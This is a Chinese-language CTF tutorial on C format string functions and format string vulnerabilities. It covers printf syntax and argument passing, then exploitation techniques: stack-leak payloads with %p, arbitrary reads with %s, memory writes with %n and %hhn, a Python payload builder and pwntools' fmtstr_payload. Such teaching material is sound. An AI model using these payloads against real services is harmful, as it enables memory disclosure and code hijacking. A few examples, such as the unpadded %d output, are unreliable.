Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

我们首先来看一下什么是格式化字符串函数。

格式化字符串函数

格式化字符串( format string)函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数

可以参考这个定义:

The format string is a character string which contains two types of objects: plain characters, which are simply copied to the output channel, and conversion specifications, each of which causes conversion and printing of arguments.

(来源:https://ocaml.org/manual/5.0/api/Printf.html)

一般来说,格式化字符串在利用的时候主要分为三个部分

  • 格式化字符串函数
  • 格式化字符串
  • 变量,可选

例子:

1
2
3
4
5
6
7
# include <stdio.h>
int main(void)
{
int i = 10;
printf("%d\n", i); // %d是输出控制符,d 表示十进制,后面的 i 是输出参数*
return 0;
}

格式化字符串函数

分为输入和输出,其中

- 输入

函数 说明
scanf() 从标准输入读取数据

基本语法:

1
scanf("格式字符串", &变量1, &变量2, ...);

例子:

1
2
3
4
5
6
7
8
9
10
11
12

# include <stdio.h>
int main(void)
{
int age;
float height;
char name[20];

scanf("%d %f %s", &age, &height, name);

return 0;
}

注意:scanf("%s", name); 不需要加 &,因为数组名本身就是地址。

- 输出

函数名 说明
printf 向标准输出(通常是终端)打印格式化字符串
fprintf 向指定文件流打印格式化字符串(如 stderr, 文件指针等)
sprintf 将格式化的字符串写入字符数组(注意缓冲区溢出风险)
snprintf 将格式化的字符串写入字符数组,指定最大写入长度,更安全
asprintf 将格式化字符串写入动态分配的内存(GNU 扩展,非标准 C)
dprintf 向指定的文件描述符写入格式化字符串(POSIX,常用于系统编程)
vprintf 类似 printf,但参数通过 va_list 传递(用于变参函数)
vfprintf 类似 fprintf,参数为 va_list
vsprintf 类似 sprintf,参数为 va_list(不安全)
vsnprintf 类似 snprintf,参数为 va_list(推荐用于变参安全格式化)

格式化字符串

正如上面的定义里说的,格式化字符串里除了明文还有格式化占位符。我们这里来重点关注一下这个格式化占位符。

格式化占位符(conversion specifications)的语法如下:

1
%[parameter][flags][field width][.precision][length]type

- Parameter:指定用于格式化的参数位置(从1开始)

字符 说明
n$ 其中n是参数位置

例子:

1
2
printf("%2$d %1$d", 11, 22);
// 会输出 22 11

- Flags

标志 说明
- 左对齐(默认是右对齐)
+ 总是显示正号或负号(例如 +10)
(空格) 正数前加空格,负数前加负号
0 用0填充未占满的宽度
# 对于%o%x%X等,添加前缀(如0x);对于%f等,始终包含小数点

- Field Width:指定最小输出字符数,不足时用空格(或0)填充,如果要使用变量指定宽度,可以用 *

例子:

1
2
3
4
5
printf("%d", 42);
// 会输出 " 42" (前面有3个空格)

printf("%*d", 5, 42);
// 会输出 " 42" (前面有3个空格)

- Precision:指定数字小数点后的位数或字符串的最大输出长度:

  • 对于浮点数(如 %f):表示小数点后保留的位数,如 %.2f
  • 对于字符串(如 %s):表示最大输出字符数,如 %.5s
  • 可以使用 * 表示由参数动态提供

- Length:指出浮点型参数或整型参数的长度

修饰符 说明
hh signed charunsigned char
h shortunsigned short
l longunsigned long
ll long longunsigned long long
L long double(用于%Lf
z size_t
t ptrdiff_t
j intmax_tuintmax_t

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdint.h>
#include <stddef.h>

int main() {
signed char a = -5;
printf("%hhd\n", a);
// 会输出 "-5"

short s = 32000;
printf("%hd\n", s);
// 会输出 "32000"

long l = 123456789L;
printf("%ld\n", l);
// 会输出 "123456789"

long long ll = 9223372036854775807LL;
printf("%lld\n", ll);
// 会输出 "9223372036854775807"

long double ld = 3.141592653589793238L;
printf("%Lf\n", ld);
// 会输出 "3.141593"(默认保留6位小数)

size_t sz = 100;
printf("%zu\n", sz);
// 会输出 "100"

ptrdiff_t diff = -8;
printf("%td\n", diff);
// 会输出 "-8"

intmax_t im = 9223372036854775807;
printf("%jd\n", im);
// 会输出 "9223372036854775807"

return 0;
}

- Type:也称转换说明(conversion specification/specifier),指定具体的数据类型,有以下选择

字符 说明
%p 打印指针(十六进制地址)
%x 打印十六进制(小写)
%s 打印字符串(char*),即打印某个地址里的内容。
%.2f 打印浮点数,保留小数点后2位
%f 打印浮点数(float/double)
%c 打印单个字符(char)
%d 打印十进制整数(int)
%% 输出一个百分号 %

其中只有Type是必须要给的,其他均可以省略。

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>

int main() {
int i = 123;
float pi = 3.14159;
char letter = 'A';
char name[] = "hello";
int hex = 255;

printf("整数:%d\n", i);
printf("浮点数(默认):%f\n", pi);
printf("浮点数(保留两位):%.2f\n", pi);
printf("字符串:%s\n", name);
printf("字符:%c\n", letter);
printf("十六进制:%x\n", hex);
printf("百分号:%%\n");

return 0;
}

注意:在第二部分一定要给定变量,如果没有给,则会从错误的内存地址读取数据,导致不可预期的行为。

此外还有一个比较特殊的格式符:%n 。这个格式符会让 printf 把当前已经打印的字符数量写入n。(或者说写入给定的地址。)

比如说下面这个例子(正常用法)

1
2
3
4
5
6
7
8
#include <stdio.h>

int main() {
int n;
printf("hello%n", &n);

return 0;
}

n的值会被存储为5。

由于它的特殊性以及危险性,很多现代系统在libc中禁用了 %n,或者在格式化函数上增加了保护(如glibc中对 %n 的格式检查)。

不过正是因为它的危险性所以我们在pwn里经常会用它来修改内存数据

变量

希望输出的变量。

格式化字符串漏洞

正常情况
在进入printf函数之后,函数会首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是%,直接输出到相应标准输出。
  • 当前字符是%, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是%, 输出%
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

例子:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

int main() {
int a = 10;
float b = 3.14f; // 注意:传入变参会被“默认实参提升”为 double
char *str = "hello";

printf("Int: %d, Float: %f, String: %s\n", a, b, str);
return 0;
}

参数是怎么传进 printf 的(32-bit 和 64-bit)

32-bit(cdecl)——全部走栈

  • 变参有“默认实参提升(default argument promotions)”:float 会提升为 double(占 8 字节),char/short 提升为 int
  • 典型调用时的示意(自上而下是低地址 → 高地址,或按“调用现场从下往上”理解也可以):
1
2
3
4
5
6
7
8
9
10
11
+------------------------------+
| 返回地址(printf 结束后跳转) |
+------------------------------+
| 格式字符串地址 | --> "Int: %d, Float: %f, String: %s\n"
+------------------------------+
| 参数3(str,4B) | --> 指向 "hello"
+------------------------------+
| 参数2(b,double,8B) | --> 3.14(已提升)
+------------------------------+
| 参数1(a,4B) | --> 10
+------------------------------+

printf 在解析到 %d/%f/%s 时,会从“第一个可变参数槽位”开始,依次取“4B/8B/指针”的值并格式化输出。

x86-64(System V ABI)——寄存器优先 + 溢出到栈

  • 前 6 个整数/指针类参数:RDI, RSI, RDX, RCX, R8, R9
  • 前 8 个浮点类参数:XMM0–XMM7float 仍提升为 double
  • 变参函数还会准备一个寄存器保存区(register save area)栈溢出区(overflow area)va_list/va_arg 会按参数类型从对应区域顺序取值;寄存器名额用完后改从栈上取。

对应上面的例子,调用瞬间常见分配为:

  • RDI = "Int: %d, Float: %f, String: %s\n"(格式串)
  • RSI = a%d
  • XMM0 = b 的 double(%f
  • RDX = str%s

在64-bit架构下不是所有参数都在栈上。printf 通过 va_list 维护“当前吃到第几个槽位”,按类型先从寄存器保存区拿,超出再从栈拿;这就是为什么64-bit 下偏移(offset)和 32-bit 不同,必须现场探测或用 %n$ 显式参数序号。

特殊情况以及偏差值

当我们在使用格式化字符串函数但未提供后续实参(即只给了 fmt 一个参数)时:

1
2
3
4
5
6
#include <stdio.h>

int main() {
printf("Hello %x %x %x %x");
return 0;
}

printf 在扫描到每个转换说明(%...)时,会依据 ABI 约定通过 va_arg 按顺序可变参数起始位置检索下一参数槽位的内容:在 x86(32-bit) 上对应为栈槽,在 x86-64 SysV 上对应为寄存器保存区(reg_save_area)以及栈溢出区(overflow_arg_area)

由于这些槽位未被显式赋值,读取到的将是相应存储区域中的现存(残存)/未定义数据,于是被按 %x/%p/%s 等格式解释并输出。进一步地,当该顺序读取过程推进到包含本次输入缓冲区(例如位于栈、堆或 .bss)的地址范围,且首次取到我们预置的标记(如 AAAA...)时,该标记对应的参数序号就称为偏差值 k(即从“第一个可变参数槽位”开始计数,到首次命中标记之间的槽位数量)。这样一来,我们即可使用显式参数序号(如 %k$p, %k$s, %k$n稳定地指向目标槽位进行泄露或写入。

漏洞表现

在CTF的题目里这个漏洞一般的表现如下:

1
2
3
4
5
6
7
8
#include <stdio.h>

int main() {
char buf[100];
fgets(buf, sizeof(buf), stdin);
printf(buf); // 会将我们的输入直接当成格式字符串并处理
return 0;
}

我们可以利用这个漏洞读取栈上的内容(如变量值、返回地址等)或者通过 %n 格式符(就是我们之前提到的那个危险的格式符)向指定内存地址写入数据。

Exploit技巧

读取栈上的内容

1
2
printf("%x %x %x");
// bffff5c4 80484f0 1
1
2
printf("%p %p %p");
// 0xbffff5c4 0x80484f0 0x1
  • %x :以十六进制整数形式输出栈上的内容。
  • %p :以指针形式(十六进制地址)输出栈上的内容。
1
2
3
payload = b"%p " * 40

payload = b"%x " * 40

image-20251110100216475

或者也可以使用%n$p

1
payload = "%1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p %10$p"
1
payload = " ".join([f"%{i}$p" for i in range(1, 61)]).encode()

image-20251110100300562

读取任意地址的字符串

  • %s:把 栈上的值当成一个指针地址,并尝试打印这个地址指向的内存,直到遇到 \0

假设栈上某个参数的值是:

1
0x08049000   →   指向 "HelloWorld"

%x%p会输出

1
2
8049000
0x8049000

%s则会输出

1
2
printf("%s");
HelloWorld

一般流程

  1. 确定偏移S(offset)

    输入形如 AAAA,%p,%p,%p... 看第几个 %p 能读出我们可控的标记(比如 0x41414141),得到偏移 S

  2. 使用下面的方法构造payload

假如我们确定了偏移,并且知道了flag的具体地址,那么我们便可以用以下的payload直接读取flag的内容:

1
2
3
def fmt_read_addr_payload(offset, addr, k=1):
fmt = f"%{offset + k}$s".encode()
return fmt + b"A"*(8 * k - len(fmt)) + p64(addr)

其中:

  • offset是我们确定的偏移

  • addr是我们希望读取的内容的地址

  • 8*k主要用于对齐。(如果k=1不行,可以尝试k=4,貌似比较稳。)

    因为p64(addr) 直接接在格式串后面,如果没有按8字节对齐,它大概率不会正好落在第offset个槽位上,也就会导致读取出问题。

写入

一般流程

  1. 确定偏移 S(offset)
    输入形如 AAAA,%p,%p,%p... 看第几个 %p 能读出我们可控的标记(比如 0x41414141),得到偏移 S

  2. 放置目标地址(避免\x00截断):

    • 把“格式化指令(全 ASCII)”放在前面;
    • 目标地址(或一串地址)放在 payload 末尾
    • 位置参数%K$... 来点名这些地址(KS + ceil(len(fmt_ascii)/8) 起)。
  3. 对齐/padding

    • written = 到当前为止已输出字符数

    • 目标值 want希望被写入到内存里的数值,按写入宽度取模);

    • 计算:

      1
      2
      3
      4
      5
      6
      7
      base = 256      #(%hhn,1字节)
      base = 65536 #(%hn,2字节)
      base = 2**32 #(%n,4字节)
      base = 2**64 #(%ln/%lln,8字节)

      pad = (want - (written % base)) % base
      # 如果 pad == 0,为了稳妥可用 pad = base(等价“加 0”)

      base为取值范围,分别等于1,2,4,8字节的最大值。

    • 然后输出 %padc(或其他等价方式)把 written 调到想要的值。

  4. 执行写入

    • %K$hhn 写 1 字节
    • %K$hn 写 2 字节
    • %K$n 写 4 字节(int*
    • %K$ln/%K$lln 写 8 字节(long*/long long*,在 x86_64 都是 8Byte)

%hn/%n/%ln 这类多字节写,最好按“从小到大”的目标值排序写入,避免 padding 需要“回绕”到很大的数。或者直接用逐字节写 %hhn

写 1 字节(%hhn

示例 1:把 pwnme_addr最低 1 字节写成 0x90

假设已经测得偏移 S = 10,并用
BASE = S + ceil(len(fmt_ascii)/8) 计算出第一个地址是第 K=BASE 个参数位。

1
2
3
4
5
6
# 目标:*(uint8_t*)pwnme_addr = 0x90
# 只需让 written % 256 == 0x90 (=144)
payload =
b"%144c" # written += 144
b"%K$hhn" # 把 (written%256)=0x90 写进第 K 个参数指向的地址
+ p32(pwnme_addr);

若此时 written % 256 不是从 0 开始,照公式算:
pad = (0x90 - (written%256)) % 256,用 %padc 形成 padding。

fmtstr_payload

Pwntools里有现成的高效构造这种payload的函数:

1
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

(官方文档:https://docs.pwntools.com/en/dev/fmtstr.html

参数(摘译)

  • offset:第一个可控“参数槽”的位置(即你测出来的 %n$p 起点)。
  • writes:要写入的目标,字典 {address: value, ...}。(将value写进address里)
  • numbwritten:调用 printf 前已经输出的字节数(影响对齐/填充计算)。
  • write_size:原子写入粒度,'byte'|'short'|'int'|'long' 等。

确定偏差

由于读取函数将输入的内容存储的位置和输出函数读取的位置有所偏差,所以我们一般需要用

1
test_payload = b"AAAA" + 15*b",%x" 

这样的Payload来确定这个偏差具体的值。

例题